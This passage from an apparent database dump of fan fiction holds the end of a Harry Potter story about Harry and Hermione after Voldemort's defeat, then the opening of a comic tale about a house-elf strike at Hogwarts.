Hogwarts.&#8221; She looked pointedly at him.</p>\n\n<p>It was true. He remembered what he&#8217;d seen once he&#8217;d emerged from the lake &#8211; before he lost consciousness. The water line was almost a kilometre below what it had been, and it had taken them quite some time to find a way up along the wet, slippery stones, with no path to follow. They had gotten some help &#8211; it&#8217;s difficult not to notice a lake in which the water suddenly disappears. Harry and Hermione were able to fly out, though, so they didn&#8217;t have too much trouble. That is, till Harry tried to transform back.&nbsp; His exhausted and wounded body &#8211; the wounds he had yet to notice at the time &#8211; said &#8216;stop&#8217;, and he actually managed to faint &#8211; faint! &#8211; there and then.</p>\n\n<p><i>Humiliating!</i></p>\n\n<p>&#8220;Yes, how did things turn out with the lake?&#8221; he asked.</p>\n\n<p>&#8220;It will be filled with water soon enough,&#8221; Hermione said. &#8220;HH&nbsp; fdaflkjfThe worst is possibly that several of the inhabitants died. It was mostly fish, but also a few squids, grindylows and plimpys.&#8221;</p>\n\n<p>Harry raised his eyebrows. &#8220;What a loss.&#8221; Hermione smacked him, but did partially agree.</p>\n\n<p>&#8220;What about the Merfolk?&#8221; he asked next.</p>\n\n<p>&#8220;They&#8217;re okay,&#8221; she answered. &#8220;They usually keep themselves at the very bottom, and are able to breathe air for a short period of time anyway.&#8221;</p>\n\n<p>He nodded at that. </p>\n\n<p>&#8220;Also,&#8221; she continued, &#8220;they sent people down again, to check if Voldemort really was dead.&#8221; She sounded a bit miffed. &#8220;They could have asked me.&#8221;</p>\n\n<p>Harry smiled. Both of them knew that Voldemort was dead, but the adults obviously found it difficult to look at Hermione as anything but a child, even though she did help to kill him. </p>\n\n<p>Kill him. The smile disappeared from his face. While he couldn&#8217;t feel regret at killing Voldemort, he still was a murderer &#8211; and that was what he was going to be remembered for.</p>\n\n<p>Knowing what he was thinking, Hermione laid a hand on his arm, and looked sternly at him. &#8220;Harry, stop those thoughts immediately! It was <i>not</i> your fault, and it wasn&#8217;t mine. We did what you had to do, and the world will always thank us for that. Voldemort wasn&#8217;t exactly a &#8211; thing &#8211; that should be allowed to live.&#8221;</p>\n\n<p>The bond/connection between them reacted quite violently at this, and he knew what she was saying almost before she said it, even though he didn&#8217;t Mind-Search. Her emotion mingled with his, and he suddenly found himself agreeing with her. The bond apparently, had decided to play on the fact that deep down he knew it was true, and thus decided that it would be pointless for them to argue about it.</p>\n\n<p>His eyes widened, and so did hers.</p>\n\n<p>&#8220;Well,&#8221; Harry said after a little while, &#8220;at least we won&#8217;t disagree all that much in the future.&#8221;</p>\n\n<p>Hermione frowned. &#8220;Is that altogether healthy? I mean, it&#8217;s quite normal for couples to quarrel a bit.&#8221;</p>\n\n<p>Harry smiled at that. &#8220;I suppose,&#8221; he said, &#8220;that you are completely correct, and that&#8217;s why I was &#8216;convinced&#8217;. If you don&#8217;t like it, I could very easily raise a subject for an argument from time to time.&#8221;</p>\n\n<p>She shook her head laughingly. &#8220;I love you, Harry,&#8221; she said.</p>\n\n<p>He smiled, and sitting up he gently hugged her to his chest and kissed the top of her head. &#8220;I love you, too.&#8221;</p>\n\n<p>He felt the connection between them strengthen, and wondered where it came from, and who had made it. It was that connection that had made them able to kill Voldemort. It had been strong then, and though it still was, he doubted it would ever open like that again. They had been one person in two bodies then. Now they were two persons in two bodies, but attached to each other in an odd but very nice way.</p>\n\n<p>~*~</p>\n\n<p>His next visitors were Sirius and Dumbledore. Remus had been rather badly hurt, so he was sharing Harry&#8217;s fate: a hospital bed. </p>\n\n<p>&#8220;Good evening, Harry,&#8221; beamed Dumbledore, and Harry smiled back.</p>\n\n<p>&#8220;Good evening, Professor,&#8221; he said, just as Sirius jumped forward and crushed him in a hug.</p>\n\n<p>&#8220;Well done, lad,&#8221; said he.</p>\n\n<p>For once, it was actually a pleasant visit, with no grave matters to discuss. They did talk about what had happened, of course, and what was left to be done. Harry was informed that the Aurors had already rounded up nearly a thousand Death Eaters, based on information given by the surviving Death Eaters.</p>\n\n<p>&#8220;And you&#8217;ve got mail, Harry,&#8221; Dumbledore said.</p>\n\n<p>&#8220;Thousands upon thousands of letters,&#8221; grinned Sirius.</p>\n\n<p>Harry&#8217;s eyes widened. &#8220;What?&#8221; Then he groaned. &#8220;On no!&#8221; he said. &#8220;The find-me-not charm has faded!&#8221;</p>\n\n<p>&#8220;You used a find-me-not charm?&#8221; Dumbledore asked.</p>\n\n<p>Harry nodded. &#8220;Yeah. After it was discovered that I was innocent, I assumed that quite a few people would try to send me letters, so I protected myself from the owls. They can be tracked.&#8221;</p>\n\n<p>&#8220;I guess you will have to re-cast the charm then, but I do recommend you to read the letters,&#8221; Dumbledore said.</p>\n\n<p>Harry grimaced. &#8220;Why?&#8221;</p>\n\n<p>&#8220;Because some might interest you. Like this,&#8221; &#8211;he held up a letter- &#8220;which is from the Ministry, wanting to award you the Order of Merlin, first class.&#8221;</p>\n\n<p>Harry raised an eyebrow. &#8220;As flippant as they are with that reward, I think I&#8217;ll refuse it.&#8221;</p>\n\n<p>Dumbledore&#8217;s eyes twinkled madly. &#8220;I don&#8217;t think anyone has done that before.&#8221;</p>\n\n<p>&#8220;Good,&#8221; Harry said dryly. &#8220;I think I&#8217;ll enjoy being the abnormal one for once.&#8221;<b><i></i></b></p>\n\n<p>&#8220;There are other recognitions<b><i>\n\n</i></b>waiting for you, too. Like the French &#8216;L\'Ordre du Griffon&#8217; and the German &#8216;Der Orden des Thorr&#8217;.&#8221;</p>\n\n<p>&#8220;Oh.&#8221; Harry said. &#8220;Those are quite grand and renowned<b>\n\n</b>aren&#8217;t they?&#8221;</p>\n\n<p>Both Sirius and Dumbledore nodded. &#8220;And their government isn&#8217;t quite as corrupt as ours used to be, and actually still is,&#8221; Sirus said. &#8220;It might have something to do with the fact that they&#8217;re younger and more modern.&#8221;</p>\n\n<p>&#8220;They want to ennoble you, too,&#8221; Dumbledore said.</p>\n\n<p>&#8220;I thought only the Queen could do that,&#8221; Harry said.</p>\n\n<p>&#8220;Obviously not. It is something that&#8217;s been a part of the Wizarding world for a long time. Since Arthur and Merlin, actually. You will find that several of your ancestors were Ladies and Lords. Lucius Malfoy was one, too.&#8221;</p>\n\n<p>&#8220;Speaking of the Malfoys-&#8221;</p>\n\n<p>&#8220;Both died in the chamber.&#8221;</p>\n\n<p>&#8220;Oh.&#8221;</p>\n\n<p>There was a pause.</p>\n\n<p>&#8220;There is one last issue,&#8221; Dumbledore said.</p>\n\n<p>Harry raised his eyebrow suspiciously. &#8220;Yes?&#8221;</p>\n\n<p>&#8220;This ennobling means that everyone you&#8217;re closely related to, your wife and your children will get your title: Lady or Lord.&#8221;</p>\n\n<p>&#8220;Oh,&#8221; said Harry. &#8220;Is there really Wizarding nobility?&#8221;</p>\n\n<p>&#8220;Yes,&#8221; Dumbledore answered, and when Harry looked questioningly at him, he continued. &#8220;The purebloods.&#8221; Then he sat back and watched as Harry spluttered with rage.</p>\n\n<p>&#8220;They want to make me a pureblood!&#8221; he said. &#8220;How <i>dare</i> they! How <i>can </i>they! <i>Encourage</i> a condescending view of the Muggle-borns!?&#8221; He slammed his fist into the mattress. &#8220;No bloody <i>way!</i> I&#8217;m proud of being a half-blood, and I&#8217;m going to continue being that!&#8221; His jaw clenched and unclenched. &#8220;No way am I going to allow either Hermione or myself to be disgraced this way!&#8221; He continued to rage for a few more minutes, before he calmed down.</p>\n\n<p>Then Sirius spoke up. &#8220;How would Hermione become disgraced?&#8221; he asked slyly. </p>\n\n<p>Harry stiffened and paled. &#8220;What?&#8221; he croaked.</p>\n\n<p>&#8220;Well, to me it seemed like you thought it would be disgracing to Hermione if you became a pureblood. I can&#8217;t really see why.&#8221; He rubbed his jaw and pretended to be deep in thought. &#8220;Unless someone should force the pureblood title on her, too, of course.&#8221;</p>\n\n<p>Harry blushed an amazing shade of red.<b><i></i></b></p>\n\n<p>~*~</p>\n\n<p>It was a beautiful summer morning, and though the temperature was cool now, it would probably be much warmer later on.</p>\n\n<p>But still it was early, and for the most part it was only the birds that were up, and they were singing their praise towards the sky.</p>\n\n<p>Yet, there were some who obviously were morning persons.</p>\n\n<p>Two teen-agers were walking across the grass in the early morning breeze, their hands linked together. They were indeed a very cute couple, and at first sight you would probably mistake them for a very normal young pair. But they weren&#8217;t. Both had an air which spoke of a maturity and experience which was completely ill-placed in two such young persons.</p>\n\n<p>They stopped on top of the cliffs, and peered into what had once been the <st1:place><st1:placename>Hogwarts</st1:placename>\n\n<st1:placetype>Lake</st1:placetype></st1:place>. The water-level was definitely a good deal lowered.</p>\n\n<p>&#8220;I&#8217;m glad it won&#8217;t be long till it&#8217;s filled again,&#8221; Harry spoke softly.</p>\n\n<p>Hermione nodded. Though the war was over, they would both be happy when the fallen wall and the damaged Quidditch pitch were restored again. The battle and what followed had shaken the area quite firmly, and the Quidditch stands and Goal hoops hadn&#8217;t taken it too well. In addition, one of the outer walls of the castle had had several blocks of stone thrown off, but everything would soon be repaired. The scars would always be there, but they would fade in time. Luckily, Voldemort&#8217;s little earthquake had affected the lake mostly.</p>\n\n<p>&#8220;But we will soon leave,&#8221; she said and snuggled up to his chest. He took the cue and put both arms around her, embracing her tightly.</p>\n\n<p>&#8220;Yes,&#8221; he agreed. &#8220;Our days at Hogwarts are over.&#8221;</p>\n\n<p>&#8220;Mmm,&#8221; she said. Then, &#8220;What are you going to do now?&#8221;</p>\n\n<p>He raised his eyebrows towards her.</p>\n\n<p>&#8220;You have to make a living, you know,&#8221; she continued. &#8220;You can&#8217;t live on being The-Boy-Who-Defeated-The-Dreaded-He-Who-Must-Not-Be-Named.&#8221;</p>\n\n<p>He smirked, and she read his mind as accurately as any Mind-Reader. &#8220;Don&#8217;t you think about it! I don&#8217;t want a Lockhart for a boyfriend!&#8221; His smirk widened and she blushed. &#8220;I was <i>twelve</i>, and he <i>was</i> rather handsome, so <i>don&#8217;t</i> look at me that way, Harry James Potter!&#8221; she exclaimed.</p>\n\n<p>He chuckled. &#8220;Don&#8217;t worry, Hermione. I won&#8217;t turn into another Lockhart, I promise.&#8221; He paused for a few minutes. He had been thinking about staying at Hogwarts as the Defence teacher. While the job could be dreadfully boring, it was also very interesting, and he found a joy in teaching.</p>\n\n<p>But if he did take the job, he would have to take it as Harry Potter, since Christian Atos was &#8216;dead&#8217;, and that made him less happy about it at once. He didn&#8217;t know if he could take the Hero-worship in addition to the endless test and homework grading he had to do. It had been Dumbledore who coaxed his students through their exams &#8211; and then dropped all the work onto his desk! <i>&#8220;It is your job, even though &#8216;you&#8217; are dead, Harry. Remember, I&#8217;m still paying you,&#8221;</i> he&#8217;d said, with that devilish smile of his.</p>\n\n<p>What could he say to that?</p>\n\n<p>Hermione didn&#8217;t have that problem. With her Healing Talent and intelligence she&#8217;d decided to become a Healer. Her ambition was to have a clinic of her own once in the future.</p>\n\n<p>&#8220;I guess I have to get a job,&#8221; he mused out loud. &#8220;Auror maybe. Or perhaps I&#8217;ll start studying.&#8221;</p>\n\n<p>&#8220;Study!&#8221; Hermione exclaimed. She still hadn&#8217;t gotten over the fact that Harry in fact was more studious than she&#8217;d thought from the start.</p>\n\n<p>&#8220;Yes,&#8221; he said mildly, ignoring her obvious jibe. &#8220;I like learning things, despite common belief,&#8221; and his tone turned slightly chiding. &#8220;It&#8217;s not my fault I had to hide my true potential.&#8221; He turned thoughtful. &#8220;Besides, Potions and History of Magic was <i>dreadfully</i> boring as long as I went here.&#8221;</p>\n\n<p>She smirked. &#8220;I can imagine. Beauxbatons was better then?&#8221;</p>\n\n<p>&#8220;Very much,&#8221; he nodded. &#8220;Actually, I wouldn&#8217;t mind studying Potions and Chemistry. I rather like it, and it greatly resembles cooking, too, one of my favourite pastimes.&#8221;</p>\n\n<p>Hermione raised her eyes and looked at him, astounded. &#8220;Cooking?&#8221; she asked.</p>\n\n<p>&#8220;Yes, it&#8217;s very stress-releasing,&#8221; he grinned at her.</p>\n\n<p>&#8220;Oh,&#8221; she said, understanding his need for stress-release very well, before yet again turning the conversation. &#8220;When will you propose to me?&#8221;</p>\n\n<p>Harry almost fell over at the abrupt change of topic, and Hermione smiled devilishly at him. &#8220;Erm&#8230;well, er,&#8221; he stuttered, before he caught himself. &#8220;I suppose when I&#8217;ve worked up the courage,&#8221; he said, not looking at her at all.</p>\n\n<p>She raised her eyebrows. &#8220;Is <i>the </i>Harry Potter, The-Boy-Who-Defeated-The-Bloody-Dark-Lord, afraid of proposing to his girl?&#8221; she asked teasingly.</p>\n\n<p>&#8220;I didn&#8217;t do that alone,&#8221;</p>\n\n<p>&#8220;Doesn&#8217;t matter; the Wizarding world has decided to give you the credit anyway. But you didn&#8217;t answer my question.&#8221;</p>\n\n<p>Harry fidgeted. &#8220;To be entirely frank, yes.&#8221;</p>\n\n<p>&#8220;Why?&#8221; she asked. &#8220;What&#8217;s the problem? You get down on your knee, say &#8216;Will you marry me?&#8217; the girl says &#8216;yes&#8217;, and you buy her this impressive diamond ring.&#8221; She looked at him. &#8220;Is that so difficult? I even know of a nice jewellery store.&#8221;</p>\n\n<p>He blushed and refused to meet her eyes. &#8220;I-I don&#8217;t know, Hermione. I mean, perhaps we&#8217;re a bit too young yet.&#8221;</p>\n\n<p>She turned serious. &#8220;Harry, look at me.&#8221; He did so, reluctantly. She saw confusion and uncertainty there, but also great affection and love.</p>\n\n<p>&#8220;Love,&#8221; she said, &#8220;I know we&#8217;re young, but we <i>are </i>in love. I know it and you know it. And I don&#8217;t <i>want</i> to wait. I <i>want </i>to be able to present myself as &#8216;Mrs Potter&#8217;, and I know I&#8217;ll take pride in doing so.&#8221;</p>\n\n<p>Harry laughed quietly and nervously. &#8220;And I thought you might refuse to take my name.&#8221;</p>\n\n<p>&#8220;If a woman isn&#8217;t willing to follow a tradition so old, and proudly take her husband&#8217;s name, then she doesn&#8217;t love him enough,&#8221; Hermione stated. &#8220;She can talk about sex-roles and discrimination as much as she wants; I don&#8217;t agree with her.&#8221; Her voice softened. &#8220;I love you Harry, and I want to be yours forever. I want to wake up next to you every morning,&#8221; &#8211; she blushed and Harry squelched some dirty thoughts &#8211; &#8220;and be the one who makes your breakfast. I want to be there when you come home, exhausted from the day, and be the one to massage your shoulders when you&#8217;re stressed.&#8221; She paused. </p>\n\n<p>&#8220;Don&#8217;t you see, Harry? I <i>want</i> you,&#8221; &#8211; both did their best to keep their dirty teen-age minds out of the way once again&#8211; &#8220;and I want to be the one who kisses you good-night and good-morning, the one who tries to rid you of your bad habits, try to form you after my own imaginations, and sigh exasperatedly at my failur-&#8221; </p>\n\n<p>She would undoubtly continued to rant for a while, had he not silenced her with a kiss.</p>\n\n<p>She was right, he realised, and he felt the connection between them. It had never disappeared after the incident in the chamber, and he doubted it ever would. He didn&#8217;t want it to, either.</p>\n\n<p>But she <i>was </i>right. As always, she was more insightful than he. He <i>did</i> want her, as his wife, and he knew they belonged to each other now. She had only realised it before he did. Perhaps it was a grain of truth in the myth about the Citatio always marrying a Pectal, after all.</p>\n\n<p>&#8220;So,&#8221; he said. &#8220;Where was this jewellery store you were talking about?&#8221;</p>\n\n<p>~*~</p>\n\n<blockquote><i>And thus ends this story, about two young people who fought bravely against the shadows of darkness, and went through fire and flame for what they believed in, but seemed impossible; Peace.</i></blockquote>\n\n<blockquote><i>A peace for which they struggled, with blood and sweat.</i></blockquote>\n\n<blockquote><i>They crossed borders and stretched limits, both magically and emotionally, and found in each other the purest of all things, in the midst of a war, in a darkness where one could expect it to be forgotten: Love.</i></blockquote>\n\n<blockquote><i>A love which goes ... beyond boundaries.</i></blockquote>\n\n<p>~*~</p>\n\n<p>---------------------------------</p>\n\n<p><b>Plimpy:</b> The Plimpy is a kind of fish. It is shaped like a ball with two long, rubbery legs and webbed feet. If you happen to spot a Plimpy with its legs tied in a knot, you will know that Merpeople are around.</p>\n\n<p><b>Grindylow:</b> A grindylow is a pale green creature which lives in the weed beds on the bottom of lakes in <st1:country-region><st1:place>Britain</st1:place></st1:country-region>. It is also known as a water demon. Grindylows have long, brittle fingers which they use to grip their prey, sharp little horns, and green teeth.</p>\n\n<p><b>Merpeople/Merfolk: </b>Well, duh.</p>\n\n<p><b>L\'Ordre du Griffon:</b> From my imagination only. It&#8217;s French (at least I hope so!) and means &#8216;The Order of the <st1:city><st1:place>Griffin</st1:place></st1:city>&#8217;. (Additional note: Firstly I wrote &#8216;<st1:city><st1:place>Griffin</st1:place></st1:city>&#8217;, but Sam8, the dear inhabitant of <st1:country-region><st1:place>France</st1:place></st1:country-region>, who also reviews my story, told me it was &#8216;Griffon. Go Sam)</p>\n\n<p><b>Der</b><b> Orden des Thorr: </b>Also purely my own imagination and it&#8217;s German for &#8216;The Order of Thor&#8217;. Thor, or Thorr (Thorr being old Nordic) is the name of the Scandinavian God of thunder (and quite a lot of other things). As far as I know, this God is a part of German mythology too.</p>\n\n<p>====================</p>\n\n<p><b>Disclaimer: </b>This story is written by Rachel Acorna Prongs and beta-read by the-dreamer. While the world of Harry Potter belongs to Joanne Kathleen Rowling, the plot is purely mine. However, I would never have made it without the help of the-dreamer, and her advice, humorous comments and useful suggestions, that have helped shape my story. Lots of thanks to her.<b><i></i></b></p>\n\n<p>I will also thank all those who reviewed; without you this would never have been finished.</p>\n\n<p>Thank you, or tusen takk, as we say in my language.</p>\n\n<p>Rachel A. Prongs</p>\n\n<p>PS. Go me. ;)<b></b></p> '),
	(235, 1, '<p>Disclaimer: I own nothing, except the plot.</p>\n<p> </p>\n<p>The House-Weasel</p>\n<p>Chapter 1: Absolute Chaos<br/>\n</p>\n<p> </p>\n<p> </p>\n<p>Oh dear.  Ginny Weasley was completely baffled.  After all,\nit wasn\'t every day one found oneself affronted with a stampede\nof grim-faced House-Elves marching proudly down the corridors,\nloud squeaks emitting from their mouths.  Was that normal?  <br/>\n	" Bloody hell!"  Ginny turned toward her brother, a\nWhat-the-hell-is-going-on look on her face.  <br/>\n	" I dunno, Ginny, don\'t ask me!" he backed away, hands\nin front of him, as he watched the House-Elves in amazement. \n<br/>\n	" Why the hell would they have a <i>parade</i>?"  Ron\nasked dubiously, scratching his hair.  <br/>\n	" Maybe it\'s someone\'s birthday."  Harry said, coming\nup from behind Ron.  Soon, quite a few people had arrived, some\nangry at the delay, some quite amused by the tiny creatures\' odd\nways.  <br/>\n	All the while, Hermione Granger stood there; eyes fixed on them,\njumping up and down with excitement-or joy, whichever it was.\n Of course they all thought she had gone batty, but after all,\nshe did have a strange fascination with House-Elves, so it seemed,\nso they thought it would be better to just leave her alone<i>.<br/>\n</i>	At long last, when everyone had started getting annoyed with\nthe show, Professor Dumbledore arrived in all his glory, looking\namused and wise.  Ron poked him.<br/>\n	" Sir, what\'s going on here?"   From beside him, Hermione\nhad stopped jumping up and down to take time to roll her eyes.\n <br/>\n	" Isn\'t it obvious?  They\'re on strike, Ronald."  She\nsighed exasperatedly, looking at him as if he had the brain of\na flobberworm.  Which, Ginny thought, he did.<br/>\n	"<i>Strike??</i>" he repeated, alarm heavy in his voice.\n Hermione nodded fervently. <br/>\n	" Yea, isn\'t it exciting?" she gushed, clasping her\nhands together.  Dumbledore chuckled.  <br/>\n	"<i>Strike??</i>  But that\'snot possiblefor House-Elves."\n Ron trailed off, muttering incoherently about House-Elves and\nhow stupid they were.  Hermione fumed slightly.  <br/>\n	" I-<i>I</i> think it\'s wonderful that they\'re on strike."\nShe announced finally, looking haughtily at Ron.  Ron waved a\nhand, indicating that he did not really care.  <br/>\n	"<i>Pfft</i>.  Of course you do, Herm.  No one cares."\n <br/>\n	"<i>Ronald-</i>"  <br/>\n	"Please desist, children."  His grave voice interrupted.\nHis spectacles hung low on the bridge of his nose as his blue\neyes stared intently at the two arguing children, though they\nwere still laughing eyes.  Hermione shuffled her feet, feeling\nashamed, and Ron turned slightly red, glaring at the wise, sagely\nheadmaster.  <br/>\n	"Headmaster, <i>surely</i> you wouldn\'t let the House-Elves\ngo on strike, right?" Ron asked, nodding as if urging him\nto do the same.  Dumbledore sighed.<br/>\n	" Well, I\'m afraid I can\'t make them work, Mr. Weasley."\n The change in Ron and Harry from those two words was enormous.\n First their shoulders slouched, followed by their jaws dropping\nopen as pouts crossed their faces.  <br/>\n"But-food!!" Harry cried, as he had grown quite accustomed\nto the nightly visits to the kitchen.<br/>\nHermione laughed.  Shooting a rather feral glare at the bushy\nhaired girl, Ron stomped angrily over to the mob of House-Elves\nand gently prodded one.  <br/>\n" Ron, what\'re you <i>doing</i>?  Don\'t!"  Hermione\nwarned, reaching out for him-but it was too late.  <br/>\nThe House-Elf had already turned around, glaring fiercely, brown\neyes wide and full of anger and determination.  <br/>\n	"What do you want?" he squeaked.  Ron, who had been\ndefiant only seconds ago now stood speechless for a moment-only\na moment, for he had never heard a House-Elf talk to him this\nway.  <br/>\n	"Uh-" <i>Punch.</i> <br/>\n	"Speak quickly, stupid, ugly boy!" he barked, ears\nstanding straight as he strained to stand taller-acting <i>menacingly</i>.\n <br/>\n	" Why are you on strike, House-Elf?" Ron asked rather\nstupidly.  Ginny covered her face with her hand.  Her brother\nsounded so stupid-\'<i>Why are you on strike, House-Elf?\'</i>-it\nvery much sounded like a corny and obvious line from a children\'s\npicture book. <br/>\n	The House-Elf\'s eyebrow, (as Ginny noticed that they indeed had\neyebrows) rose and stared at the redhead curiously.  <br/>\n	"Because you treat House-Elves like dirt, and we don\'t like\nit!" he nodded, squinting his eyes at Ron, before turning\naround with a I-will-no-longer-associate-with-you look, and marched\non.  <br/>\n	Ron stood there, scratching his red hair.  Hermione let out a\nsob and rushed over to him.  <br/>\n	"Ron you idiot!!" she shrieked shrilly, hair bouncing\nas she jumped up and down.  " <i>Why</i> must you be so insensitive?"\n Ron opened his mouth to protest, but Hermione held a finger up\nand quieted him.  <br/>\n	" \' Because I\'m a boy\' isn\'t a valid reason." She added.\n Clearing her throat, she continued, getting into full rant mode.\n <br/>\n	" Why don\'t you understand?  It\'s not right to support such\nslavery-especially at such a prestigious school as Hogwarts, that\nis under the rule of the great Professor Dumbledore.  Imagine\nif <i>you</i> were a House-Elf and people ordered you around,\nrefusing to pay you afterwards.  Would you like it?"  Hermione\nlooked at Ron earnestly in her I\'m-Perfectly-Logical face.<br/>\n	"Yes." Ron said, only saying to get Hermione worked\nup. " I would."  Hermione went cow-eyed and began screaming\na horrible tantrum at the boy, and while her words were rather\nslurred, Ginny managed to pick up a few words like, \' Pig\', \'Insensitive\nprick\', and \'liar\'.  Dumbledore chuckled, and once more commanded\nimmediate silence with his hand.  <br/>\n	"I couldn\'t help but overhear your argument, Mr. Weasley,\nMiss Granger, and I would like to point out, that since you two\nare so willing to try for the House-Elf position, I\'m sure I could\nmake such things happen-after all, what with the House-Elves gone,\nwho will clean the castle?"  A glazed look came over the\nheadmaster\'s eyes as he pondered this.  <br/>\nHermione beamed.  Ron gaped at him.  <br/>\n	"B-but" he stuttered, trying to think of something\nrather intelligent to say.  Hermione smirked and turned toward\nhim, eyebrows raised.  <br/>\n	"What\'s wrong?  I thought you said you wouldn\'t mind being\na House-Elf."  She nudged him. " Go on then!" \n<br/>\n	"But-I can\'t cook, Hermione."  Ron spat after some\nhesitation.  Dumbledore smiled his vague smile yet again.  <br/>\n	"Ah, but you won\'t have to, Mr. Weasley.  I\'m afraid I cannot\ntrust my students to cook satisfactory meals for the school."\n <br/>\n	"You\'re making me be a House-Elf?  You\'re <i>making</i>\nme??" Ron asked incredulously.  Dumbledore shook his head.\n<br/>\n	" No, not making you, Mr. Weasley-just offering you the\nchance.  This is absolutely voluntary, of course.  However, I\ndon\'t see a reason not to, since you yourself admitted that you\nwouldn\'t mind being a House-Elf.  Why not contribute to your dear\nschool?"  His half-moon spectacles gleamed in the dusk light\nmischievously, and Ginny was sure that inside his head he was\nlaughing rather manically.  <br/>\n	" Nah, I don\'t think-" Ron chose that moment to glance\nat Hermione, who was glaring so fiercely at him, it made him go\npromptly white.  The look she was sending said very clearly:<i>\nYou better say yes, Ronald Weasley, if you value your puny life.</i>\n<br/>\n	"Alright." He squeaked, quaking in fear.  Ginny couldn\'t\nhelp but roar with laughter at his ill fate.  <br/>\n	"Good Ron! You\'ve already got the squeak part down pat!\n I expect you\'ll be talking in third person, by saynext week,\nhmm?" Ginny teased, eyes dancing with malice.  <i>Oh</i>,\nhow fun it was to tease her dear ole brother. But the fun, as\nalways, did not last long.<br/>\n	" Say, Ginny, why don\'t you join us?" Hermione asked\nsincerely, eyes begging her to say yes.  Ginny stopped laughing\nand stared at her.  <br/>\n	"Er" Ron grinned widely at the prospect.<br/>\n	"Yea, why don\'t you, little sister?" he asked, grinning\nnastily.  Ginny began backing away.  <br/>\n	"I\'d love to, but I\'m busy" she replied, faking a sickly\nsweet smile.  Hermione\'s face fell with disappointment, but she\ndid not relent.  Leaning in towards the smaller girl, she whispered\nquietly.  <br/>\n	"I can\'t <i>stand</i> him alone, Gin, won\'t you help me\nbear the agony?" Hermione asked, lip turning out in a pout.\n And realization hit her.  Again, her fun had turned its back\non her.  There was nowhere out of it.  <br/>\n	"Alright." She muttered, looking down at her worn shoes,\nwishing she were deaf so that she did not hear the words that\nshe had spoken.  However, at those words, Dumbledore beamed. \n<br/>\n	"Harry?  What about you?" he asked.  Harry looked uncomfortable\nall of a sudden, as he had been quiet all along, and he fidgeted\nslightly, playing with his glasses, acting as if he hadn\'t heard.\n Ron, who at first had been severely annoyed, seemed to be enjoying\nthe fact that others would be sharing his torture.  <br/>\n	"Yea, Harry, c\'mon!  Best friends stick together, right?"\nhe asked.  Harry did not reply.  Ron sniffed and turned away slightly,\nhands in his pockets.  "Unless we\'re <i>not</i> friends"\nhe trailed off.  <br/>\n	" No!  No!  You are <i>definitely</i> my friend, Ron."\nHarry rushed to answer, waving his hands indicate that he was\nwrong.  Ron smiled. <br/>\n	"I knew it, old chap!  You always were loyal, faithful,\nand a great friend."  Harry\'s smile disappeared.  <br/>\n	"Ah-then I shall report this great news to Professor McGonagall,\nwho is to be in charge of this affair, and you shall receive your\nwonderful uniforms tomorrow." Dumbledore looked about the\nfour proudly.  <br/>\n	"Cleaning the dorms and castle will not be easy with just\nfour of you.  I am hoping more people will volunteer" he\ntrailed off, face looking suddenly distant and troubled.  <br/>\n"So many things to doso many burdens" he muttered.<br/>\nBut then, only a moment later, his bright smile was back on his\naged face.  Hermione was the only one who returned the smile,\nas the other three were too busy sulking.  And before they strutted\naway to their common room where they could yell and fight all\nthey wanted (certainly more so than right in front of the headmaster),\nsomething heavy flew into the air and hit Ron\'s head.  Another\nfell at Harry\'s feet, and one fell down Ginny\'s shirt.  <br/>\n	"What the-"<br/>\n	"Cool!"<br/>\n	"Ack!!"  <br/>\n	"That was your first pay." Hermione said as she walked\nover to them, a gold galleon clutched tightly in her palm.  Ron\'s\neyes went wide, almost as if bearing the dollar signs as in cartoons,\nand he quickly snatched the item off of his head, staring at it\'s\ngold-ness with love in his eyes.  Harry shrugged and pocketed\nhis coin, and Ginny dug in her shirt frantically, trying to find\nit.  <br/>\n	"Want me to help you find it, Gin?" Harry asked slyly,\nstepping closer to her.  <br/>\n	" Oh no you don\'t, Harry-you will NOT have your hands stuck\ndown my sister\'s shirt!  Bastard!" Ron yelled irritably,\nparticularly in a bad mood because of the whole affair, and he\nkicked his friend in the shins, making the poor boy yowl in pain.\n  Ginny giggled, feeling a blush coming on at the suggestive words,\nand beamed when she, at last, found the coin.  <br/>\n	" Let\'s <i>go</i> already!" Hermione whined, quickly\ngrowing impatient of the boy\'s romp, rolling her eyes at the ceiling.\n Ron didn\'t answer, but after running a hand through his hair,\nran ahead down the corridor, mumbling and looking strangely cross-eyed.\n <br/>\n"This was a bloody great day-first, I fail that test, then\nI get turned into a House-Elf, not to mention I no more kitchen\nraids, and then my best friend gets all suggestive on my sister!"\n Turning toward the three, he smiled sarcastically.<br/>\n"Tell me when the pigs start flying, ok?"<br/>\nSoon he was out of sight-and thank god.<br/>\nHarry still sat on the floor, trying to get a good look at his\nshin.  Hermione clucked her tongue at Harry after staring distastefully\nafter Ron, and she knelt beside him. <br/>\n	"Are you ok, Harry?" she asked, lifting up the leg\nof his pants to examine the damage.  Sure enough, there was a\nlarge, purple bruise forming rapidly on his pale, smooth skin.\n <br/>\n	"<i>That\'s horrible!</i>" Ginny gasped, feeling rather\nshocked that her brother would kick his best friend so harshly.\n So cruelly.  So violently. Harry grinned sheepishly.<br/>\n	"Happens all the time." He said rather cheerfully.\n Hermione just clucked her tongue again.  <br/>\n	"You let your best friend abuse you, eh?" Ginny asked,\nhands on her hips, feeling the anger rise to her throat.  <br/>\n	"Er-" <br/>\n	"Why when I get my hands on that little bit-"<br/>\n	"<i>Ginny</i>!" Hermione yelled exasperatedly.  Ginny\nshut up, biting her tongue.  Looking both of them squarely in\nthe eye, Hermione shook her head. <br/>\n	"I\'ve had enough <i>mood</i> swings for one day" she\nwent on mumbling, before some distinct words could be heard. \nThrowing her hands up she cried, "and honestly, it\'s only\nthe girls that get PMS!"  Harry blushed looked away, humming\nquietly, acting as if he hadn\'t heard.  Ginny felt very peeved\nby now.  <br/>\n	"Hermione-shut up!"  And for once, Hermione did.  \n<br/>\n	Soon, all chaos had calmed down slightly as the three reached\nGryffindor common room, and they were quite pleased to find that\nthe common room was quite empty, save a few straggling students\nthat were studying.  <br/>\n	Ron seemed to be among them, sitting forlornly on the shabby\ncouch, the corners of his mouth twitching and his ears tinged\nred-a sure sign that he was very angry.  And angry at what?  Probably\nhis life.  <br/>\n	Harry slinked off to his dorm, thinking Ron was mad at him, and\nthought that he had best stay out of his way.  Heck, everyone\nin Gryffindor tower thought that they should stay away from the\nbiting weasel that night.  Even Hermione had given up on governing\nthe wretched old fool, though she sighed heavily every so often.\n<br/>\n	When at last everyone had gone up to their dorm, Ginny and Hermione\nstayed down, books on their laps as they tried to study.	The odd\nsilence ended as Ginny promptly slammed her book on the desk.\n <br/>\n	"Hermione-I have to tell you something."  She 